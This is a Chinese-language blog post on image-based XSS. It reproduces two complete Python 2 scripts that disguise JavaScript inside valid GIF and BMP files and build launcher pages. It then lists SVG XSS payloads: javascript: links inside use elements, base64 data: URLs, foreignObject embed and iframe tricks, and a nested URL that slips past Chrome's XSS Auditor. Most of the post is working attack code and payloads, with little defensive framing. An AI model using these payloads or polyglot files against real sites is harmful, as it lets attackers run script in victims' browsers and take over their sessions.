跳至主要內容

图片 XSS

Mr.zha0cai大约 10 分钟

virtualenv -p /usr/bin/python2 venv_name
source venv_name/bin/activate
# 在虚拟环境中,你可以使用 python 命令来调用 Python 2

图片 XSS

图片 XSS,简单地说,就是将 JavaScript 代码尽量插入图片的无用区域,在不影响图片显示的情况下满足 JS 代码格式从而执行图片中的 JS 代码导致 XSS。

注意:只对 IE 有效,Chrome 和 Firefox 无法触发(因为有版本限制)。

注入脚本

Gif

向 gif 文件中注入 JavaScript 的 python2 脚本:http://pastebin.com/6yUbfGX5open in new window

#!/usr/bin/env python2
#============================================================================================================#
#======= Simply injects a JavaScript Payload into a GIF. ====================================================#
#======= or it creates a JavaScript Payload as a GIF.    ====================================================#
#======= The resulting GIF must be a valid (not corrupted) GIF. =============================================#
#======= Author: marcoramilli.blogspot.com ==================================================================#
#======= Version: PoC (don't even think to use it in development env.) ======================================#
#======= Disclaimer: ========================================================================================#
#THIS IS NOT PEP3 FORMATTED
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
								#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
								#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
#POSSIBILITY OF SUCH DAMAGE.
#===========================================================================================================#
import argparse
import os


#---------------------------------------------------------
def _hexify(num):
	"""
	Converts and formats to hexadecimal
	"""
	num = "%x" % num
	if len(num) % 2:
		num = '0'+num
	return num.decode('hex')


#---------------------------------------------------------
def _generate_and_write_to_file(payload, fname):
    """
    Generates a fake but valid GIF within scriting
    """
    f = open(fname, "wb")
    header = (b'\x47\x49\x46\x38\x39\x61'  #Signature + Version  GIF89a
                        b'\x2F\x2A' #Encoding /* it's a valid Logical Screen Width
                        b'\x0A\x00' #Smal Logical Screen Height
                        b'\x00' #GCTF
                        b'\xFF' #BackgroundColor
                        b'\x00' #Pixel Ratio
                        b'\x2C\x00\x00\x00\x00\x2F\x2A\x0A\x00\x00\x02\x00\x3B' #GlobalColorTable + Blocks
                        b'\x2A\x2F' #Commenting out */
                        b'\x3D\x31\x3B' # enable the script side by introducing =1;
				        )
    trailer = b'\x3B'
	# I made this explicit, step by step .
    f.write(header)
    f.write(payload)
    f.write(trailer)
    f.close()
    return True


#---------------------------------------------------------
def _generate_launching_page(f):
	"""
	Creates the HTML launching page
	"""
	htmlpage ="""
								<html>
								<head><title>Opening an image</title> </head>
								<body>
									<img src=\"""" + f + """_malw.gif\"\>
									<script src= \"""" + f + """_malw.gif\"> </script>
								</body>
								</html>
			  """
	html = open("run.html", "wb")
	html.write(htmlpage);
	html.close()
	return True


#---------------------------------------------------------
def _inject_into_file(payload, fname):
	"""
	Injects the payload into existing GIF
	NOTE: if the GIF contains \xFF\x2A and/or \x2A\x5C might caouse issues
	"""
	# I know, I can do it all in memory and much more fast.
	# I wont do it here.
	with open(fname + "_malw.gif", "w+b") as fout:
		with open(fname, "rt") as fin:
			for line in fin:
				ls1 = line.replace(b'\x2A\x2F', b'\x00\x00')
				ls2 = ls1.replace(b'\x2F\x2A', b'\x00\x00')			
				fout.write(ls2)	          
		fout.seek(6,0)
		fout.write(b'\x2F\x2A') #/*

	f = open(fname + "_malw.gif", "a+b") #appending mode
	f.write(b'\x2A\x2F\x3D\x31\x3B')
	f.write(payload)
	f.write(b'\x3B')
	f.close()
	return True


#---------------------------------------------------------
if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	parser.add_argument("filename",help="the gif file name to be generated/or infected")
	parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
	parser.add_argument("-i", "--inject-to-existing-gif", action="store_true", help="inject into the current gif")
	args = parser.parse_args()
	print("""
					|======================================================================================================|
					| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.          |
					| It is the end user's responsibility to obey all applicable local, state and federal laws.            |
					| Authors assume no liability and are not responsible for any misuse or damage caused by this program  |
					|======================================================================================================|
					"""
         )
	if args.inject_to_existing_gif:
		 _inject_into_file(args.js_payload, args.filename)
	else:
		_generate_and_write_to_file(args.js_payload, args.filename)

	_generate_launching_page(args.filename)
	print "[+] Finished!"

Bmp

向 bmp 文件中注入 JavaScript 的 python2 脚本:http://pastebin.com/04y7ee3uopen in new window

#!/usr/bin/env python2
#============================================================================================================#
#======= Simply injects a JavaScript Payload into a BMP. ====================================================#
#======= The resulting BMP must be a valid (not corrupted) BMP. =============================================#
#======= Author: marcoramilli.blogspot.com ==================================================================#
#======= Version: PoC (don't even think to use it in development env.) ======================================#
#======= Disclaimer: ========================================================================================#
#THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
#IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
#WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
#DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
#INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
#(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
								#SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
								#HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
#STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING
#IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
#POSSIBILITY OF SUCH DAMAGE.
#===========================================================================================================#
import argparse
import os

#---------------------------------------------------------
def _hexify(num):
	"""
	Converts and formats to hexadecimal
	"""
	num = "%x" % num
	if len(num) % 2:
		num = '0'+num
	return num.decode('hex')

#---------------------------------------------------------
#Example payload: "var _0xe428=[\""+ b'\x48\x65\x6C\x6C\x6F\x20\x57\x6F\x72\x6C\x64' + "\"]
#;alert(_0xe428[0]);"
def _generate_and_write_to_file(payload, fname):
	"""
	Generates a fake but valid BMP within scriting
	"""
	f = open(fname, "wb")
	header = (b'\x42\x4D'  #Signature BM
						b'\x2F\x2A\x00\x00' #Header File size, but encoded as /* <-- Yes it's a valid header 
						b'\x00\x00\x00\x00' #Reserved
						b'\x00\x00\x00\x00' #bitmap data offset
						b''+ _hexify( len(payload) ) + #bitmap header size
					  b'\x00\x00\x00\x14' #width 20pixel .. it's up to you
						b'\x00\x00\x00\x14' #height 20pixel .. it's up to you
					  b'\x00\x00' #nb_plan
						b'\x00\x00' #nb per pixel
						b'\x00\x10\x00\x00' #compression type
						b'\x00\x00\x00\x00' #image size .. its ignored
						b'\x00\x00\x00\x01' #Horizontal resolution
						b'\x00\x00\x00\x01' #Vertial resolution
						b'\x00\x00\x00\x00' #number of colors
						b'\x00\x00\x00\x00' #number important colors
						b'\x00\x00\x00\x80' #palet colors to be complient
						b'\x00\x80\xff\x80' #palet colors to be complient
						b'\x80\x00\xff\x2A' #palet colors to be complient
						b'\x2F\x3D\x31\x3B' #*/=1;
						)
	# I made this explicit, step by step .
	f.write(header)
	f.write(payload)
	f.close()
	return True

#---------------------------------------------------------
def _generate_launching_page(f):
	"""
	Creates the HTML launching page
	"""

	htmlpage ="""
								<html>
								<head><title>Opening an image</title> </head>
								<body>
									<img src=\"""" + f + """\"\>
									<script src= \"""" + f + """\"> </script>
								</body>
								</html>
						"""
	html = open("run.html", "wb")
	html.write(htmlpage);
	html.close()
	return True

#---------------------------------------------------------
def _inject_into_file(payload, fname):
	"""
	Injects the payload into existing BMP
	NOTE: if the BMP contains \xFF\x2A might caouse issues
	"""
	# I know, I can do it all in memory and much more fast.
	# I wont do it here.
	f = open(fname, "r+b")
	b = f.read()
	b.replace(b'\x2A\x2F',b'\x00\x00')
	f.close()

	f = open(fname, "w+b")
	f.write(b)
	f.seek(2,0)
	f.write(b'\x2F\x2A')
	f.close()

	f = open(fname, "a+b")
	f.write(b'\xFF\x2A\x2F\x3D\x31\x3B')
	f.write(payload)
	f.close()
	return True


#---------------------------------------------------------
if __name__ == "__main__":
	parser = argparse.ArgumentParser()
	parser.add_argument("filename",help="the bmp file name to be generated/or infected")
	parser.add_argument("js_payload",help="the payload to be injected. For exmample: \"alert(\"test\");\"")
	parser.add_argument("-i", "--inject-to-existing-bmp", action="store_true", help="inject into the current bitmap")
	args = parser.parse_args()
	print("""
					|======================================================================================================|
					| [!] legal disclaimer: usage of this tool for injecting malware to be propagated is illegal.          |
					| It is the end user's responsibility to obey all applicable local, state and federal laws.            |
					| Authors assume no liability and are not responsible for any misuse or damage caused by this program  |
					|======================================================================================================|
					""")
	if args.inject_to_existing_bmp:
		 _inject_into_file(args.js_payload, args.filename)
	else:
		_generate_and_write_to_file(args.js_payload, args.filename)

	_generate_launching_page(args.filename)
	print "[+] Finished!"

使用

  • 准备一个 gif(superman.gif) 图和 bmp(color.bmp) 图
  • gif 图片插入 payload:python gif_injector.py -i superman.gif "alert('mob');"
  • bmp 图片插入 payload:python bmp_injector.py -i color.bmp "alert(location);"

会生成两个文件,run.html & xxx.gif_malw.gif

<html>
<head><title>Opening an image</title> </head>
<body>
    <img src="superman.gif_malw.gif"\>
    <script src= "superman.gif_malw.gif"> </script>
</body>
</html>

image

image

bmp win7 的 IE 都没复现成功,多半是寄了。

SVG XSS

SVG 是一种基于 XML 的图像文件格式。

[Translated From]:http://insert-script.blogspot.com/2014/02/svg-fun-time-firefox-svg-vector.html

<use>​ 元素

SVG 中的 use 元素用于重用其他元素,主要用于联接 defs 和 alike,而我们却用它来引用外部 SVG 文件中的元素。

元素通过其 id 被引用,在 use 标签的 xlink:href​ 属性中以 #​ 井字符开头,外部元素的引用同样如此。

示例如下。

test.html

<svg>
    <use xlink:href='external.svg#rectangle' />
</svg>

external.svg

<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"
xmlns:xlink="http://www.w3.org/1999/xlink"
width="100" height="100">
    <a xlink:href="javascript:alert(location)">
        <rect x="0" y="0" width="100" height="100" />
    </a>
</svg>

.svg​​ 文件以 <svg>​​ 标签开始,其 id 设置为 rectangle,使用 rect 标签绘一个矩形。可以使用 <a>​​ 标签包围 <rect>​​ 标签,从而创建一个超链接open in new window。使用 Javascript 伪协议open in new window,可点击的超链接在点击后会执行 Javascript。即使通过 <use>​​ 标记加载 SVG,也会执行 JavaScript。需要注意的是,只能加载位于同一源的 SVG 文件。

可以看到测试结果,在 chrome 和 Firefox 下点击黑框都能弹框:

image

data:url+Base64

由于加载的外部 SVG 文件必须是同源的,这个特性看起来似乎无法作为有用的 XSS 攻击向量,但可以使用 data:url​ 协议来帮我们提升这个攻击向量。

首先,它允许我们从内部创建一个文件,要求正确的 mime-type​,在这里为 image/svg+xml​。mimie-type 后是我们的攻击载荷或关键字 base64。特别地,由于数据被 base64 编码,这有助于避免突破 HTML 结构的问题。

现在我们不必再依赖于服务器上的另一个文件了,改进一下 test.html​:

<svg>
    <use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CjxhIHhsaW5rOmhyZWY9ImphdmFzY3JpcHQ6YWxlcnQobG9jYXRpb24pIj48cmVjdCB4PSIwIiB5PSIwIiB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCIgLz48L2E+Cjwvc3ZnPg==#rectangle" />
</svg>

base64 解码后的内容为

<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"    width="100" height="100">
    <a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a>
</svg>

image

无需点击触发 xss

利用 <foreignObject>​ 元素

external.svg 中的 <script>​ 标签不会被解析,但是 SVG 支持 ​<foreignObject>​ 元素。通过阐述这个对象需要的扩展属性,有可能加载非 SVG 元素。这就意味着现在有可能是有 <iframe>​、<embed>​ 及其他所有支持的 HTML 元素了,我们可以从一堆元素中进行选择执行 Javascript,这里使用 <embed>​+JavascriptURL 协议。

test.html

新版的 Firefox 已经不生效了。

<svg>
    <use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0icmVjdGFuZ2xlIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiAgICB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CiAgICA8c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+CiAgICA8Zm9yZWlnbk9iamVjdCB3aWR0aD0iMTAwIiBoZWlnaHQ9IjUwIgogICAgICAgICAgICAgICAgICAgcmVxdWlyZWRFeHRlbnNpb25zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4KCTxlbWJlZCB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgc3JjPSJqYXZhc2NyaXB0OmFsZXJ0KGxvY2F0aW9uKSIgLz4KICAgIDwvZm9yZWlnbk9iamVjdD4KPC9zdmc+#rectangle" />
</svg>

base64 解码后的内容为

<svg id="rectangle" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"    width="100" height="100">
    <script>alert(1)</script>
    <foreignObject width="100" height="50"
                   requiredExtensions="http://www.w3.org/1999/xhtml">
	<embed xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(location)" />
    </foreignObject>
</svg>

可以看到,在 Firefox 下,无需点击即可触发 foreignObject​ 标签内 embed 的 JS 伪协议执行 JS 代码从而弹框,同时没有弹框显示 1 说明了 script​ 标签不会被解析:

搞个旧的 Firefox 补一下图

image

其他

# 嵌套 iframe,注意 xmlns="http://www.w3.org/1999/xhtml"
<foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml">
    <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:alert(location)"></iframe>
</foreignObject>

# object 标签
<foreignObject width="100" height="50" requiredExtensions="http://www.w3.org/1999/xhtml">
    <object xmlns="http://www.w3.org/1999/xhtml" data="javascript:alert(location)"></object>
</foreignObject>

前面利用 use 元素结合 data:url​ 只能在 Firefox 下生效,Chrome 却不会触发。

这里可利用 link 来 bypass Chrome。

示例 test.html 如下,加密内容为 <script>alert("Hello");</script>​【成功不了,遂弃之】

<link rel="import" href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">

当然 link 的形式很多,href 的地方本身就是可以插入 js 代码的,但是通过 base64 加密,可以 bypass 各种奇怪的过滤。

这里很多用到了 data 类型的 url,可参考如下:

data:,<文本数据>  
data:text/plain,<文本数据>  
data:text/html,<HTML 代码>  
data:text/html;base64,<base64 编码的 HTML 代码>  
data:text/css,<CSS 代码>  
data:text/css;base64,<base64 编码的 CSS 代码>  
data:text/javascript,<Javascript 代码>  
data:text/javascript;base64,<base64 编码的 Javascript 代码>  
data:image/gif;base64,base64 编码的 gif 图片数据  
data:image/png;base64,base64 编码的 png 图片数据  
data:image/jpeg;base64,base64 编码的 jpeg 图片数据  
data:image/x-icon;base64,base64 编码的 icon 图片数据

结合语言参数

Chrome 不支持 <use>​ 标记的 xlink:href​ 属性内的 data:URL​ 方案。此外,我没有找到无需用户交互即可执行 JavaScript 的方法。但至少我可以为您提供一种通过用户交互绕过 Blink/Webkit XSS Auditor 的方法。不使用参数污染,只需要一个参数。之所以提到这一点,是因为 Blink/Webkit XSS Auditor 无法捕获 XSS 攻击,这些攻击被分解为两个或多个参数。

看一下这个 php 脚本(xss.php):

<?php
    echo "<body>";
    echo $_GET['x'];
    echo "</body>";
?>

这个脚本存在 XSS 漏洞,但是使用下面这样的载荷则会触发 XSS Auditor:

http://site.com/xss.php?x=<svg><a xlink:href="javascript:alert(location)"><rect x="0" y="0" width="100" height="100" /></a></svg> 

因此,让我们使用 <use>​ 元素吧

Creating the SVG on the fly

我们想加载另外的 SVG 文件,因此我们以 <svg><use xlink:href=​ 开始。但是等一下,它必须满足同源,我们不能使用 data 伪协议,该怎么获取服务器上的文件呢?很简单,我们在一行中两次利用 XSS 漏洞!首先,我们构建一个 URL,制作一个包含了 Javascript URL 为伪协议的 SVG。【套娃】

http://vulnerabledomain.com/xss.php?x=<svg id="rectangle" xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><a xlink:href="javascript:alert(location)"><rect class="blue" x="0" y="0" width="100" height="100" /></a></svg>

如果你将整个 URL 粘贴到没有 XSS Filter 的浏览器,马上就会出现一个黑色的矩形。但是前面已经提到过,Chrome 的 XSS Auditor 会捕获这种攻击,还是继续吧:
现在我们要在 <use>​ 元素中使用创建的 SVG 文件,制造一个形如这样的 URL:

http://vulnerabledomain.com/xss.php?x=<svg><use height=200 width=200
xlink:href='http://vulnerabledomain.com/xss.php?x=<svg id="rectangle"xmlns="http://www.w3.org/2000/svg"xmlns:xlink="http://www.w3.org/1999/xlink"width="100" height="100"><a xlink:href="javascript:alert(location)"><rect class="blue" x="0" y="0" width="100" height="100"/></a></svg>#rectangle'/></svg>

进行 url 编码,这下应该会显示出矩形了,点击就会执行 alert,但是这一次没有触发 XSS Auditor 😃

http://vulnerabledomain.com/xss.php?x=%3Csvg%3E%3Cuse%20height=200%20width=200%20xlink:href=%27http://vulnerabledomain.com/xss.php?x=%3Csvg%20id%3D%22rectangle%22%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20%20%20%20width%3D%22100%22%20height%3D%22100%22%3E%3Ca%20xlink%3Ahref%3D%22javascript%3Aalert%28location%29%22%3E%3Crect%20class%3D%22blue%22%20x%3D%220%22%20y%3D%220%22%20width%3D%22100%22%20height%3D%22100%22%20%2F%3E%3C%2Fa%3E%3C%2Fsvg%3E%23rectangle%27/%3E%3C/svg%3E

前人栽树